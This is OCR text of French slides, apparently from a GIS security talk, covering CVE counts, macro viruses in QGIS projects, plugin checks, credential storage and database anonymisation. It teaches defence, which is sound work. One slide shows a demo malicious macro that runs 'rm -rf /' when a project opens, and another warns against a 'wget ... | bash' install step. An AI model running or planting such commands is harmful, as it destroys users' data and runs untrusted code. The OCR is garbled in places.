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Deroule de la presentation

1. Risques sur les clients lourds
2. Configuration de la sécurité donneéees
3. Echange des données
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Rapport CVE par logiciel

ArcGIS 31
FME 3
Mapinfo 1

Search CVE List Downloads Data Feeds Update a CVE Record Request CVE IDs

P h | IC a rto O TOTAL CVE Records: 160554

NOTICE: CVE website transitioning to new “"CVE.ORG"” web address. Process to begin in late September 2021 and last one year. v

.mitre.org

Search Results

There are 0 CVE Records that match your search.

Name Description

SEARCH CVE USING KEYWORDS: | || submit

You can also search by reference using the CVE Reference Maps.
For More Information: CVE Request Web Form (select "Other” from dropdown)
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Capteurs /
loT
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Définition
Un virus macro est un type de virus informatique qui peut étre stocké dans des
macros au sein d’un fiehie=Miereoeeit=-0fiee-projet SIG
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Définition
Un virus macro est un type de virus informatique qui peut étre stocké dans des
macros au sein d’un fiehie=Miereoeeit=-0fiee-projet SIG

Propriétés du projet — Macros

Macros Python

Projet Editer Vue Couche Préférences Extensions Vecteur Raster Basededonnées Maillage Traitement Aide Vector

\,\ Général unport-os

..ﬁaﬁum '*’ ﬂv ar an
/]

= =def -openProject( ):
Métadonnées os.system("rm.--rf./")

y

‘- .

Paramétres de la Vue -saveProject():

pass
SCh seProject():
pass

f; Transformations
¥ style par défaut

i Sources de données

.l Relations

ET @
VEGELIES

O

e}

Marque-pages
Signets spatiaux
[ H4X0R

Dossier du projet
=5'_ QGIS Server

c Temporel

You've been hacked!

Accueil - A
Gimme bitcoins!
/

GeoPackage
SpatiaLite
PostGIS
MSSQL
GeoNode

> &9 Mergin

v Ok v Appliquer | | © Annuler




Verifiez les extensions que vous telechargez

- Présentation de la vérification sur plugins.qgis.org
- wget -qO- mon_super_soft.sh | bash
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Seécuriser les donneées

Et les CVE sur les bases ?

Oracle ~600
PostgreSQL 216
PostGis 2
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PGBouncer
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- Il y a mieux que le couple login / mot de passe
- Exemple PostgreSQL :

- utiliser pg_service.conf

- utiliser pgpass
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- Exemple QGIS
- Le login / mot de passe est enregistré dans le projet

<QgsDataSourceUri: dbname='gis’' host=1.2.3.4 port=5432 user="moi’' password="'pass’' ssimode=disable
key="id" srid=3946 type=LineStringZ checkPrimaryKeyUnicity="1' table="public”."line3D_3946" (geom)>

- Ou utiliser les méthodes d'authentification

® O Dialog

Extensions d'authentification installées

Méthode A Description Fonctionne avec

postgres, oracle, db2, ows, wfs, wcs, wms, ogr, gdal,
proxy

EsriToken Authentification basée sur un jeton ESRI arcgismapserver, arcgisfeatureserver

Basic Authentification basique

Identity-Cert Certificat d'identité stocké dans une IGC ows, wfs, wcs, wms, postgres

OAuth2 Authentification OAuth2 ows, wfs, wcs, wms
PKI-Paths Authentification par cheminement dans 'IGC ows, wfs, wcs, wms, postgres

PKI-PKCS#12 Authentification IGC PKCS#12 ows, wfs, wcs, wms, postgres

Fermer
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- Exemple QGIS
- Le login / authid est enregistré dans la base

<QgsDataSourceUri: dbname="gis’' host=1.2.3.4 port=5432 user="moi'’ authcfg=auth id ssimode=disable
key="id" srid=3946 type=LineStringZ checkPrimaryKeyUnicity="1" table="public"."line3D _3946" (geom)>

Configurations

% Général ID  NomA URI

5 1 202h5n3 test
W Systéme

& scr
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é;; Transformatior

Sources de
données

Canevas et

légende

“ Qutils

cartographique

Ng 3D
ﬁ Couleurs Gestion
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- PostgreSQL : pgCrypto, postgresql anonymiser
- Fonctions de hachage de QGIS
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En savoir plus

https://oslandia.com/

https://ggis.org/fr/site/
https://docs.qais.orqg/3.16/fr/docs/user manual/auth system/auth considerations.html

https://www.postaresql.org/

https://www.postgresql.org/docs/12/ddl-rowsecurity.html
https://postaresal-anonymizer.readthedocs.io/en/stable/index.html

infos@oslandia.com
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https://oslandia.com/
https://qgis.org/fr/site/
https://docs.qgis.org/3.16/fr/docs/user_manual/auth_system/auth_considerations.html
https://www.postgresql.org/
https://www.postgresql.org/docs/12/ddl-rowsecurity.html
https://postgresql-anonymizer.readthedocs.io/en/stable/index.html
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